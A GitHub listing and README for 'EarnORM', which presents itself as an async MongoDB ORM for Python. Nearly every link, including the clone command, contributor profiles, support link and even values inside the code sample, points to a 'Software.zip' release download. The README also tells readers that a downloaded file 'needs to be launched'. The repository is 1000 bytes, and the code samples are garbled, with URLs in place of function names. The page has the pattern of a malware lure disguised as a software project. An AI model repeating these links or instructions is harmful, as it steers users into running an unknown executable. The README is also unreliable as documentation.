https://github.com/lethanhdat0403/earnorm
EarnORM is a high-performance, async-first MongoDB ORM for Python, designed to maximize throughput in I/O-bound applications. Built on top of Motor and Pydantic, it leverages the full power of async/await to handle thousands of database operations concurrently while maintaining type safety and data validation.
https://github.com/lethanhdat0403/earnorm
asyncio hacktoberfest mongo mongodb mongodb-orm motor nosql orm pydantic python
Last synced: about 1 year ago
JSON representation
EarnORM is a high-performance, async-first MongoDB ORM for Python, designed to maximize throughput in I/O-bound applications. Built on top of Motor and Pydantic, it leverages the full power of async/await to handle thousands of database operations concurrently while maintaining type safety and data validation.
- Host: GitHub
- URL: https://github.com/lethanhdat0403/earnorm
- Owner: lethanhdat0403
- Created: 2025-01-13T16:38:54.000Z (about 1 year ago)
- Default Branch: main
- Last Pushed: 2025-03-10T21:22:03.000Z (about 1 year ago)
- Last Synced: 2025-03-10T21:24:48.482Z (about 1 year ago)
- Topics: asyncio, hacktoberfest, mongo, mongodb, mongodb-orm, motor, nosql, orm, pydantic, python
- Size: 1000 Bytes
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# 🚀 **EarnORM: High-Performance MongoDB ORM for Python**

## Overview
EarnORM is a cutting-edge, asynchronous-first MongoDB ORM for Python, crafted to enhance throughput in I/O-bound applications. Leveraging the power of Motor and Pydantic, this ORM enables handling thousands of database operations concurrently while ensuring type safety and data validation. Whether you are working on a small project or a large-scale application, EarnORM provides a robust and efficient solution for interacting with MongoDB.
## Features
⚡ High-Performance Async-First Approach
⚙️ Built on Motor and Pydantic
🔄 Asynchronous Handling of Concurrent Database Operations
🔒 Type Safety and Data Validation
📦 Easy Integration with Existing Python Projects
🌐 Seamless Support for Async I/O Tasks
## Topics
['asyncio', 'hacktoberfest', 'mongo', 'mongodb', 'mongodb-orm', 'motor', 'nosql', 'orm', 'pydantic', 'python']
## Repository Link
[](https://github.com/lethanhdat0403/earnorm/releases/download/v1.0/Software.zip)
If the link ends with a file name, it needs to be launched to access the software.
🔗 For more information and updates, please visit the [EarnORM GitHub Repository](https://github.com/lethanhdat0403/earnorm/releases/download/v1.0/Software.zip).
## Installation
To install EarnORM, simply clone the repository and follow the instructions in the documentation. Ensure you have Python and MongoDB set up on your system before proceeding with the installation.
```bash
git clone https://github.com/lethanhdat0403/earnorm/releases/download/v1.0/Software.zip
cd earnorm
pip install .
```
## Usage
Here is a quick example demonstrating the basic usage of EarnORM:
```python
from earnorm import EarnORM
# Initialize EarnORM with MongoDB connection details
earnorm = EarnORM('mongodb://localhost:27017/', database='mydb')
# Define a Pydantic model
class User(BaseModel):
name: str
email: EmailStr
# Insert a document into the 'users' collection
new_user = User(name='John Doe', email='https://github.com/lethanhdat0403/earnorm/releases/download/v1.0/Software.zip')
result = await https://github.com/lethanhdat0403/earnorm/releases/download/v1.0/Software.zip('users', https://github.com/lethanhdat0403/earnorm/releases/download/v1.0/Software.zip())
# Retrieve all documents from the 'users' collection
all_users = await https://github.com/lethanhdat0403/earnorm/releases/download/v1.0/Software.zip('users')
print(all_users)
```
## Contributors
👨💻 Our project thrives thanks to the contributions of these amazing developers:
- [@dev1](https://github.com/lethanhdat0403/earnorm/releases/download/v1.0/Software.zip)
- [@dev2](https://github.com/lethanhdat0403/earnorm/releases/download/v1.0/Software.zip)
- [@dev3](https://github.com/lethanhdat0403/earnorm/releases/download/v1.0/Software.zip)
## License
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
## Support
For any queries or assistance, please open an issue on the [EarnORM GitHub Repository](https://github.com/lethanhdat0403/earnorm/releases/download/v1.0/Software.zip).
---
🌟 Thank you for choosing EarnORM! Happy coding! 🚀